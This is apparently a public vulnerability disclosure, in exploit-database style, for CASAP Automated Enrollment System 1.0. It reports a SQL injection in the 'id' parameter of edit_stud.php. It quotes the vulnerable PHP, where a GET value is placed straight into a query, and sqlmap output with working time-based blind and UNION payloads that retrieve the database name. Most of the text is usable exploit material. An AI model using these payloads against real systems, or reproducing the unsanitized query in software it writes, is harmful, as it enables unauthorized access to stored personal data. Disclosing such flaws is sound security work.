

main

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CASAP-Automated-Enrollment-System / CASAP-Automated-Enrollment-System-1.md

BigTiger2020 Update CASAP-Automated-Enrollment-System-1.md

History

1 contributor

8 lines (8 sloc) 631 Bytes

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- Exploit Title: CASAP-Automated-Enrollment-System 1.0 - "id" SQL Injection in edit_stud.php
- Vendor Homepage: <https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html>
- Software Link: <https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code>
- Version: 1.0
- Vulnerable file: edit_stud.php

```
1 <?php include('header.php'); ?>
2 <?php include('session.php'); ?>
3 <?php $get_id = $_GET['id']; ?>
4
5 <body>
6 <?php include('navbar.php'); ?>
7 <center></center>
8 <div class="container-fluid">
9 <div class="row-fluid">
10 <?php include('sidebar_students.php'); ?>
11 <div class="span9" id="">
12 <div class="row-fluid">
13 <!-- block -->
14 <div id="block_bg" class="block">
15 <div class="navbar navbar-inner block-header">
16 <div class="muted pull-left"><i class="icon-pencil icon-large"></i> Edit Student</div>
17 <div class="muted pull-right"><a href="students.php"><i class="icon-arrow-left icon-large"></i> Back</a></div>
18 </div>
19 <div class="block-content collapse in">
20 <?php
21 $query = mysql_query($connection,"select * from students where student_id = '$get_id'")or die(mysql_error());
22 $row = mysql_fetch_array($query);
23 ?>
24 <form id="update_student" class="form-signin" method="post">
```

- Vulnerability proof:
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:

```
Parameter: id (GET)
  Type: time-based blind
  Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
  Payload: id=1' AND (SELECT 7429 FROM (SELECT (SLEEP(5)))XrNV) AND 'JWGO'='JWGO

  Type: UNION query
  Title: Generic UNION query (NULL) - 4 columns
  Payload: id=-7484' UNION ALL SELECT CONCAT(0x7171707671,0x4e76444170537648424b726271514b754c654c764564474d6345577050
65504a7147494b784a7955,0x716a716b71),NULL,NULL,NULL--

[15:13:34] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[15:13:34] [INFO] fetching current database
current database: 'bilal'
```